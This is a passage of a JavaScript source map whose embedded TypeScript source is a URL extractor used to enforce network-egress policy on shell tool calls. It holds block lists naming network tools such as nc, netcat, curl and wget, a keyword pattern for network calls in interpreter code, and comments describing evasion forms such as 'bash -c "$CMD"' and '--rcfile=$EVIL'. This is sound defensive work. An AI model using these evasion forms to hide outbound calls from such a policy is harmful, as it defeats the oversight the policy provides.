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","sourcesContent":["/**\n * URL Extraction Utilities\n *\n * Extracts URLs from text, objects, and shell commands.\n * Used for security policy enforcement and content analysis.\n *\n * ## Features\n *\n * - Recursive extraction from nested objects/arrays\n * - Shell command parsing (curl, wget)\n * - Automatic http:// prefix for bare hostnames\n * - Trailing punctuation cleanup\n *\n * @module utils/url-extractor\n */\n\nimport {\n\tGIT_CLONE_FLAGS_WITH_VALUES,\n\tGIT_GLOBAL_FLAGS_WITH_VALUES,\n\tgitArchiveTargetArgs,\n\tgitCloneNonFlagArgs,\n\tgitConfigCommandIsLocal,\n\tgitConfigTargetArgs,\n\tgitRemoteCommandIsLocal,\n\tgitRemoteTargetArgs,\n\tgitSubcommandInvocation,\n\tgitSubmoduleCommandIsLocal,\n\tgitSubmoduleTargetArgs,\n\tisLocalGitTarget,\n} from \"./url-extractor-git.js\";\n\n/**\n * Pattern to match HTTP/HTTPS URLs in text.\n */\nconst URL_PATTERN = /https?:\\/\\/[^\\s\"'<>]+/gi;\n\n/**\n * Commands that can initiate network egress from shell tool calls.\n */\nconst NETWORK_COMMANDS = new Set([\n\t\"aria2c\",\n\t\"curl\",\n\t\"ftp\",\n\t\"git\",\n\t\"http\",\n\t\"https\",\n\t\"nc\",\n\t\"ncat\",\n\t\"netcat\",\n\t\"rsync\",\n\t\"scp\",\n\t\"sftp\",\n\t\"ssh\",\n\t\"telnet\",\n\t\"wget\",\n\t\"wget2\",\n]);\n\nconst URL_POSITIONAL_COMMANDS = new Set([\n\t\"aria2c\",\n\t\"curl\",\n\t\"http\",\n\t\"https\",\n\t\"wget\",\n\t\"wget2\",\n]);\n\nconst NETWORK_WRAPPER_COMMANDS = new Set([\n\t\"busybox\",\n\t\"command\",\n\t\"doas\",\n\t\"env\",\n\t\"exec\",\n\t\"nice\",\n\t\"nohup\",\n\t\"setsid\",\n\t\"sudo\",\n\t\"time\",\n\t\"timeout\",\n\t\"xargs\",\n]);\n\nconst SHELL_WRAPPER_COMMANDS = new Set([\n\t\"bash\",\n\t\"dash\",\n\t\"fish\",\n\t\"ksh\",\n\t\"mksh\",\n\t\"sh\",\n\t\"zsh\",\n\t// `script(1)` records a typescript but also runs the `-c COMMAND`\n\t// (or `--command COMMAND`) argument inside a subshell. Treating it as\n\t// a shell wrapper so `script -qc 'ssh -o ProxyCommand=...'` still\n\t// reaches the opaque-options matcher.\n\t\"script\",\n]);\n\n// Indirection class: commands that hand a string off to a language runtime\n// or another shell so an attacker can hide the network call from the parser.\n//\n// `eval` is unconditionally opaque — its whole purpose is \"interpret this\n// string as code at runtime.\"\nconst EVAL_COMMANDS = new Set([\"eval\"]);\n\n// POSIX/Bourne-family shells that read a command body. When the body is a\n// static string the existing nested-shell parser recurses into it; but a\n// bare interpreter (pipe target), a `-c` argument with shell expansion\n// (`bash -c \"$CMD\"`), a here-string (`bash <<<`), or a positional script\n// path are all unparseable from here and treated as opaque.\nconst SHELL_INTERPRETERS = new Set([\n\t\"ash\",\n\t\"bash\",\n\t\"dash\",\n\t\"fish\",\n\t\"ksh\",\n\t\"mksh\",\n\t\"sh\",\n\t// `script(1)` records typescript output but executes its `-c` body\n\t// inside a real shell. The body-detection logic in\n\t// `shellInterpreterIsOpaque` (`-c` / `--command` / `-qc`) applies\n\t// to `script` identically — without this, `script -c \"$CMD\"\n\t// /tmp/log` slips past pass 2.\n\t\"script\",\n\t\"zsh\",\n]);\n\n// Language interpreters and the flag that runs an inline code string. We\n// cannot parse Python/Node/Perl/Ruby/PHP — so when the eval/exec flag is\n// present we look at the code argument for either shell expansion (we\n// cannot resolve its value) or a network-relevant token (`ssh`,\n// `requests.get`, `urlopen`, `os.system`, …). Either is opaque.\nconst LANGUAGE_EVAL_EXEC_FLAGS: ReadonlyMap<\n\tstring,\n\tReadonlySet<string>\n> = new Map([\n\t[\"python\", new Set([\"-c\"])],\n\t[\"python2\", new Set([\"-c\"])],\n\t[\"python3\", new Set([\"-c\"])],\n\t[\"node\", new Set([\"-e\", \"--eval\", \"-p\", \"--print\"])],\n\t[\"nodejs\", new Set([\"-e\", \"--eval\", \"-p\", \"--print\"])],\n\t[\"deno\", new Set([\"eval\"])],\n\t[\"bun\", new Set([\"-e\", \"--eval\"])],\n\t[\"perl\", new Set([\"-e\", \"-E\"])],\n\t[\"ruby\", new Set([\"-e\"])],\n\t[\"php\", new Set([\"-r\"])],\n]);\n\n// Substring patterns inside a language `-c` / `-e` code body that imply\n// the interpreted code may make a network request. Lower-cased; matched\n// case-insensitively. The list errs on the side of catching outbound\n// transport calls; if a benign script trips it, the user can refactor\n// the command to not embed a code string.\nconst NETWORK_KEYWORD_PATTERN =\n\t/\\b(?:ssh|scp|sftp|rsync|curl|wget|telnet|ftp|smb|nfs|imap|smtp|pop3|requests\\.|urllib|urlopen|httplib|http\\.client|fetch\\(|axios|node-fetch|undici|got\\(|net::http|net::ssh|net::scp|socket\\.|os\\.system|os\\.popen|subprocess|child_process|exec\\(|spawn\\(|popen\\(|net\\.connect|tls\\.connect|dgram\\.|smtplib|paramiko|fabric|file_get_contents|fsockopen|stream_socket_client|curl_exec|curl_init|fopen|file\\(\\s*['\"]https?)\\b|require\\(\\s*['\"](?:https?|net|tls|dgram|dns|http2|child_process)['\"]|(?:import|from)\\s*['\"](?:https?|net|tls|dgram|dns|http2|child_process|node:(?:https?|net|tls|dgram|dns|http2|child_process))['\"]/i;\n\nconst SHELL_HEREDOC_TOKENS = new Set([\"<<<\", \"<<\", \"<<-\"]);\n\nfunction hasShellExpansionToken(arg: string): boolean {\n\t// `$VAR`, `${VAR}`, `$(...)`, and backtick command substitution all\n\t// resolve at runtime — the parser cannot know the value, so any code\n\t// body containing one must be treated as opaque.\n\treturn arg.includes(\"$\") || arg.includes(\"`\");\n}\n\n// Resolve the code body for a language interpreter eval/exec flag,\n// across the three argv forms an attacker can use:\n//\n//   * `python -c CODE`            (exact match + next argv slot)\n//   * `python -c'CODE'`           (glued short flag, quotes elided by shell)\n//   * `node --eval=CODE`          (`=` form for long flags)\n//\n// Returns the code string, or null if `arg` is not a recognized form.\n// Empty string is treated as \"no body\" by the caller — a dangling\n// `python -c` errors at the interpreter, not a network bypass.\nfunction extractEvalCodeBody(\n\targ: string,\n\tnextArg: string | undefined,\n\tflags: ReadonlySet<string>,\n): string | null {\n\tif (flags.has(arg)) {\n\t\treturn nextArg ?? null;\n\t}\n\tfor (const flag of flags) {\n\t\t// Glued short form: `python -c'…'` becomes one token `-c…` after\n\t\t// the shell removes the quotes. Only meaningful when the flag is\n\t\t// itself a single-char short flag (`-c`, `-e`, `-E`, `-r`, `-p`).\n\t\tif (\n\t\t\tflag.length === 2 &&\n\t\t\tflag.startsWith(\"-\") &&\n\t\t\t!flag.startsWith(\"--\") &&\n\t\t\targ.startsWith(flag) &&\n\t\t\targ.length > flag.length\n\t\t) {\n\t\t\treturn arg.slice(flag.length);\n\t\t}\n\t\t// `=` form for long flags: `--eval=…`, `--print=…`.\n\t\tif (flag.startsWith(\"--\") && arg.startsWith(`${flag}=`)) {\n\t\t\treturn arg.slice(flag.length + 1);\n\t\t}\n\t}\n\treturn null;\n}\n\nfunction shellInterpreterIsOpaque(segment: string[]): boolean {\n\t// `… | sh`, `… | bash` — the interpreter reads from stdin (or is\n\t// being launched interactively). Either way the body is invisible.\n\tif (segment.length === 1) {\n\t\treturn true;\n\t}\n\n\tlet index = 1;\n\tlet sawStaticC = false;\n\twhile (index < segment.length) {\n\t\tconst arg = segment[index]!;\n\n\t\tif (SHELL_HEREDOC_TOKENS.has(arg)) {\n\t\t\treturn true;\n\t\t}\n\n\t\tconst commandArg = extractShellCommandArg(segment, index);\n\t\tif (commandArg) {\n\t\t\tif (\n\t\t\t\tcommandArg.command !== null &&\n\t\t\t\thasShellExpansionToken(commandArg.command)\n\t\t\t) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif (commandArg.command !== null) {\n\t\t\t\tsawStaticC = true;\n\t\t\t}\n\t\t\tindex += commandArg.consumedArgs;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// `--init-file=$EVIL`, `--rcfile=$EVIL`, `-rcfile=$EVIL`: bash\n\t\t// will read code from a caller-controlled file path. Expansion\n\t\t// in the path means we can't know which file — opaque.\n\t\tif (\n\t\t\targ.startsWith(\"--init-file=\") ||\n\t\t\targ.startsWith(\"--rcfile=\") ||\n\t\t\targ.startsWith(\"-rcfile=\")\n\t\t) {\n\t\t\tconst path = arg.slice(arg.indexOf(\"=\") + 1);\n\t\t\tif (hasShellExpansionToken(path)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (SHELL_FLAGS_WITH_VALUES.has(arg)) {\n\t\t\t// `bash --rcfile $EVIL` (space-separated value form). Same\n\t\t\t// risk as the `=` form when the value itself expands.\n\t\t\tconst value = segment[index + 1];\n\t\t\tif (\n\t\t\t\tvalue !== undefined &&\n\t\t\t\t(arg === \"--rcfile\" || arg === \"-rcfile\" || arg === \"--init-file\") &&\n\t\t\t\thasShellExpansionToken(value)\n\t\t\t) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tindex += 2;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (arg.startsWith(\"-\") || arg.startsWith(\"+\")) {\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Positional argument before a -c body: script path. We cannot\n\t\t// read its content, so this invocation is opaque.\n\t\tif (!sawStaticC) {\n\t\t\treturn true;\n\t\t}\n\n\t\t// After a static -c body, positionals are just $0/$1/... — the\n\t\t// parser has already recursed into the body, so they don't make\n\t\t// the segment opaque.\n\t\tbreak;\n\t}\n\n\treturn false;\n}\n\n// Walk past env-var prefixes and exec-wrappers (`env`, `sudo`, `doas`,\n// `nohup`, `busybox`, …) to the underlying invocation. Mirrors the\n// prefix-stripping in `unwrapNetworkInvocation`, but emits the\n// unwrapped segment whether or not the inner command is a recognized\n// network/shell name — the caller's job is to classify it.\nfunction stripIndirectionWrappers(segment: string[]): string[] {\n\tlet remaining = segment;\n\twhile (remaining.length > 0 && isEnvAssignment(remaining[0]!)) {\n\t\tremaining = remaining.slice(1);\n\t}\n\twhile (remaining.length > 0) {\n\t\tconst head = shellCommandName(remaining[0] ?? \"\");\n\t\tif (!NETWORK_WRAPPER_COMMANDS.has(head)) {\n\t\t\tbreak;\n\t\t}\n\t\tif (commandWrapperDoesNotExecute(remaining)) {\n\t\t\tbreak;\n\t\t}\n\t\tremaining = skipWrapperArgs(remaining, head);\n\t}\n\treturn remaining;\n}\n\nfunction findOpaqueIndirection(segment: string[]): string | null {\n\tif (segment.length === 0) {\n\t\treturn null;\n\t}\n\n\t// Strip wrappers so `env bash -c \"$CMD\"`, `sudo bash -c \"$CMD\"`,\n\t// `busybox sh -c \"$CMD\"` all reach the shell-interpreter check\n\t// instead of seeing `env` / `sudo` / `busybox` as the leading\n\t// command and bailing.\n\tconst unwrapped = stripIndirectionWrappers(segment);\n\tif (unwrapped.length === 0) {\n\t\treturn null;\n\t}\n\n\tconst commandName = shellCommandName(unwrapped[0] ?? \"\");\n\n\tif (EVAL_COMMANDS.has(commandName)) {\n\t\treturn segment.join(\" \");\n\t}\n\n\tif (\n\t\tSHELL_INTERPRETERS.has(commandName) &&\n\t\tshellInterpreterIsOpaque(unwrapped)\n\t) {\n\t\treturn segment.join(\" \");\n\t}\n\n\tconst evalFlags = LANGUAGE_EVAL_EXEC_FLAGS.get(commandName);\n\tif (evalFlags) {\n\t\tfor (let i = 1; i < unwrapped.length; i += 1) {\n\t\t\tconst arg = unwrapped[i] ?? \"\";\n\t\t\tconst code = extractEvalCodeBody(arg, unwrapped[i + 1], evalFlags);\n\t\t\tif (code === null || code === \"\") {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (hasShellExpansionToken(code) || NETWORK_KEYWORD_PATTERN.test(code)) {\n\t\t\t\treturn segment.join(\" \");\n\t\t\t}\n\t\t}\n\t}\n\n\treturn null;\n}\n\nconst SHELL_FLAGS_WITH_VALUES = new Set([\n\t\"--init-file\",\n\t\"--rcfile\",\n\t\"-rcfile\",\n\t\"-o\",\n\t\"+o\",\n\t\"-O\",\n\t\"+O\",\n]);\nconst SHELL_SHORT_FLAGS_BEFORE_COMMAND = new Set([\n\t\"a\",\n\t\"b\",\n\t\"e\",\n\t\"f\",\n\t\"h\",\n\t\"i\",\n\t\"k\",\n\t\"l\",\n\t\"m\",\n\t\"n\",\n\t\"p\",\n\t\"q\", // script(1) quiet\n\t\"r\",\n\t\"s\",\n\t\"t\",\n\t\"u\",\n\t\"v\",\n\t\"x\",\n\t\"B\",\n\t\"C\",\n\t\"D\",\n\t\"E\",\n\t\"H\",\n\t\"P\",\n]);\nconst EXEC_WRAPPER_FLAGS_WITH_VALUES = new Set([\"-a\"]);\n\n// rsync(1) reuses many short flags with different meanings than curl/ssh\n// (e.g. `-i` is `--itemize-changes`, `-o` is `--owner`, `-H` is\n// `--hard-links` — all booleans, not value-taking). Without a dedicated\n// set, the generic `FLAGS_WITH_VALUES` table treats them as value-taking\n// and silently consumes the next positional, which is frequently the\n// `user@host:path` remote — the bypass Cursor Bugbot flagged on PR\n// #2732. This list mirrors the rsync(1) flags that actually take the\n// next arg.\nconst RSYNC_FLAGS_WITH_VALUES = new Set([\n\t\"-B\",\n\t\"--block-size\",\n\t\"-e\",\n\t\"--rsh\",\n\t\"-f\",\n\t\"--filter\",\n\t\"-M\",\n\t\"--remote-option\",\n\t\"-T\",\n\t\"--temp-dir\",\n\t\"--address\",\n\t\"--backup-dir\",\n\t\"--bwlimit\",\n\t\"--checksum-choice\",\n\t\"--chmod\",\n\t\"--chown\",\n\t\"--compare-dest\",\n\t\"--compress-choice\",\n\t\"--compress-level\",\n\t\"--contimeout\",\n\t\"--copy-as\",\n\t\"--copy-dest\",\n\t\"--debug\",\n\t\"--exclude\",\n\t\"--exclude-from\",\n\t\"--files-from\",\n\t\"--groupmap\",\n\t\"--iconv\",\n\t\"--include\",\n\t\"--include-from\",\n\t\"--info\",\n\t\"--link-dest\",\n\t\"--log-file\",\n\t\"--log-file-format\",\n\t\"--max-alloc\",\n\t\"--max-size\",\n\t\"--min-size\",\n\t\"--modify-window\",\n\t\"--only-write-batch\",\n\t\"--out-format\",\n\t\"--partial-dir\",\n\t\"--password-file\",\n\t\"--port\",\n\t\"--protocol\",\n\t\"--read-batch\",\n\t\"--rsync-path\",\n\t\"--skip-compress\",\n\t\"--sockopts\",\n\t\"--stderr\",\n\t\"--suffix\",\n\t\"--timeout\",\n\t\"--usermap\",\n\t\"--write-batch\",\n]);\n\n// Flags that take a value as the next argument.\nconst FLAGS_WITH_VALUES = new Set([\n\t\"-X\",\n\t\"--request\",\n\t\"-o\",\n\t\"-O\",\n\t\"--output\",\n\t\"-H\",\n\t\"--header\",\n\t\"-d\",\n\t\"--data\",\n\t\"--data-raw\",\n\t\"--data-binary\",\n\t\"--data-urlencode\",\n\t\"-F\",\n\t\"--form\",\n\t\"-A\",\n\t\"--user-agent\",\n\t\"-u\",\n\t\"--user\",\n\t\"-T\",\n\t\"--upload-file\",\n\t\"-e\",\n\t\"--referer\",\n\t\"-b\",\n\t\"--cookie\",\n\t\"-c\",\n\t\"--cookie-jar\",\n\t\"-K\",\n\t\"--config\",\n\t\"--resolve\",\n\t\"--connect-to\",\n\t\"--max-time\",\n\t\"-m\",\n\t\"--retry\",\n\t\"--retry-delay\",\n\t\"-w\",\n\t\"--write-out\",\n\t\"-p\",\n\t\"--port\",\n\t\"-i\",\n\t\"--identity-file\",\n]);\n\nconst ENV_WRAPPER_FLAGS_WITH_VALUES = new Set([\"-u\", \"--unset\"]);\n\nconst 